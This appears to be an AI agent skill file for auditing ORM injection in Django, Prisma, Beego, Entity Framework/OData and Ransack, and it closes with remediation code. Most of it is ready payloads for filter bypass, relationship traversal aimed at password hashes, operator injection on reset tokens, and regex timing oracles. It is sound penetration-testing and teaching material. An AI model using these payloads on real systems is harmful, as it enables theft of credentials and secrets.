Hacktricks-skills orm-injection-audit
Audit applications for ORM injection vulnerabilities across Django, Prisma, Beego, Entity Framework, and Ransack. Use this skill whenever you need to test for database query manipulation, filter bypass, relational traversal attacks, or data exfiltration through ORM layers. Trigger this skill for any security audit involving user-controlled database queries, API endpoints with filtering, or applications using ORM frameworks with dynamic query construction.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/orm-injection/SKILL.MDORM Injection Audit Skill
This skill helps you identify and test for ORM injection vulnerabilities where user input directly influences database query construction, potentially allowing attackers to bypass filters, traverse relationships, and exfiltrate sensitive data.
When to Use This Skill
Use this skill when:
- Auditing APIs that accept filter/search parameters
- Reviewing code that passes user input to ORM query methods
- Testing applications using Django, Prisma, Beego, Entity Framework, or Ransack
- Investigating potential data exfiltration through database queries
- Security testing endpoints with dynamic query construction
Core Attack Patterns
1. Direct Filter Control
Django ORM:
# Vulnerable: User controls filter arguments Article.objects.filter(**request.data)
Prisma:
// Vulnerable: User controls entire query object const posts = await prisma.article.findMany(req.body.filter)
Beego:
// Vulnerable: User controls filter expression qs = qs.Filter(filterExpression, filterValue)
2. Relational Traversal
ORMs allow traversing relationships using
__ (Django/Beego) or nested objects (Prisma):
Django/Beego:
{"created_by__user__password__contains": "pass"}
Prisma:
{ "where": { "createdBy": { "password": {"startsWith": "pas"} } } }
3. Many-to-Many Bypass
Loop back through relationships to bypass filters:
Django:
# Bypass is_secret=False filter Article.objects.filter(is_secret=False, categories__articles__id=2)
Prisma:
{ "query": { "categories": { "some": { "articles": { "some": { "published": false } } } } } }
4. Type Confusion (Operator Injection)
Prisma accepts operator objects where primitives expected:
// Instead of: {"resetToken": "abc123"} // Send: {"resetToken": {"not": "E"}} // Result: Matches all users whose token is NOT "E"
5. Error/Time-Based Oracles
Use regex or complex queries to create timing differences:
// ReDoS attack - timing reveals if pattern matches {"password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
Testing Methodology
Step 1: Identify Vulnerable Endpoints
Look for:
- API endpoints accepting
,filter
,q
,query
parameterssearch - Code passing
,request.data
, orreq.body
directly to ORM methodsparams - Dynamic query construction with user-controlled field names
- Missing input validation on filter parameters
Step 2: Map the Schema
- Send basic queries to discover available fields
- Test relationship traversal with
operators (Django/Beego) or nested objects (Prisma)__ - Identify sensitive fields:
,password
,token
,secret
,api_keytfa_secret
Step 3: Test Filter Bypass
Basic bypass:
{"field__startswith": "test"}
Relationship bypass:
{"related_field__sensitive_field__contains": "value"}
Many-to-many bypass:
{"relation1__relation2__sensitive_field__startswith": "test"}
Step 4: Test Operator Injection
Prisma type confusion:
{"field": {"not": "value"}} {"field": {"contains": "value"}} {"field": {"startsWith": "value"}}
URL-encoded (Express extended):
field[not]=value field[contains]=value
Step 5: Test Time-Based Attacks
Django/Beego regex:
{"field__regex": "^(?=^pattern).*.*.*.*.*.*.*.*!!!!$"}
Prisma OR with large list:
{ "OR": [ {"NOT": {"field": "value"}}, {"field": {"in": ["a", "b", "c", ...1000 items]}} ] }
Step 6: Collation-Aware Testing
Database collations affect string comparison:
- Case-insensitive (MySQL/MariaDB default): Use
or__regexBINARY - Case-sensitive (PostgreSQL): Standard operators work
- Custom collations: Test ordering with
/ge
comparisonslt
Framework-Specific Payloads
Django ORM
// Login bypass {"username": "admin", "password_startswith": "a"} // Password leak via relationship {"created_by__user__password__contains": "pass"} // Group-based user traversal {"created_by__user__groups__user__password__startswith": "admi"} // Permission-based traversal {"created_by__user__user_permissions__user__password__startswith": "admi"} // Filter bypass {"is_secret": false, "categories__articles__id": 2} // Time-based oracle {"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
Prisma ORM
// Full include leak { "filter": { "include": {"createdBy": true} } } // Selective field leak { "filter": { "select": { "createdBy": {"select": {"password": true}} } } } // Where clause control { "where": { "createdBy": { "password": {"startsWith": "pas"} } } } // Many-to-many bypass { "query": { "categories": { "some": { "articles": { "some": { "published": false, "secretField": {"startsWith": "test"} } } } } } } // Type confusion {"resetToken": {"not": "E"}} {"resetToken": {"contains": "argon2"}}
Beego ORM
// Direct filter control {"filter": "created_by__user__password__icontains=pbkdf"} // Harbor-style bypass {"email__password__startswith": "foo"} // Fuzzy match bypass {"q": "email__password=~abc"}
Entity Framework / OData
// Comparison oracle $filter=CreatedBy/TfaSecret ge 'M' $filter=CreatedBy/TfaSecret lt 'M' // Navigation property traversal $filter=CreatedBy/User/Password contains 'pass'
Ransack (Ruby)
// Brute-force reset token q[user_reset_password_token_start]=0 q[user_reset_password_token_start]=1 // Relationship traversal q[user_id_eq]=1&user[password_start]=pass
Detection Checklist
- User input passed directly to ORM filter/query methods
- No allow-list validation on field names
- No operator validation (allows
or nested objects)__ - Sensitive fields exposed in queryable schema
- Relationship traversal not restricted
- Response includes pagination metadata (enables counting attacks)
- Error messages reveal query structure
- No rate limiting on filter endpoints
Remediation Guidance
Input Validation
# Django: Use allow-list ALLOWED_FIELDS = ['title', 'author', 'category'] ALLOWED_OPERATORS = ['icontains', 'startswith'] def safe_filter(request): filters = {} for key, value in request.data.items(): field, op = key.rsplit('__', 1) if '__' in key else (key, 'exact') if field in ALLOWED_FIELDS and op in ALLOWED_OPERATORS: filters[key] = value return Article.objects.filter(**filters)
// Prisma: Map to allow-listed fields const ALLOWED_FIELDS = ['title', 'author', 'category']; const ALLOWED_OPERATORS = ['contains', 'startsWith']; async function safeQuery(req) { const { filter } = req.body; const safeFilter = {}; for (const [field, value] of Object.entries(filter)) { if (ALLOWED_FIELDS.includes(field)) { if (typeof value === 'object') { const [op, val] = Object.entries(value)[0]; if (ALLOWED_OPERATORS.includes(op)) { safeFilter[field] = { [op]: val }; } } else { safeFilter[field] = { equals: value }; } } } return await prisma.article.findMany({ where: safeFilter }); }
Response Sanitization
- Remove sensitive fields from query results
- Use explicit field selection (SELECT only needed columns)
- Never return passwords, tokens, or secrets in API responses
Schema Hardening
- Mark sensitive fields as non-queryable
- Use ORM-specific annotations (
in Beego)filter:"false" - Implement per-field access controls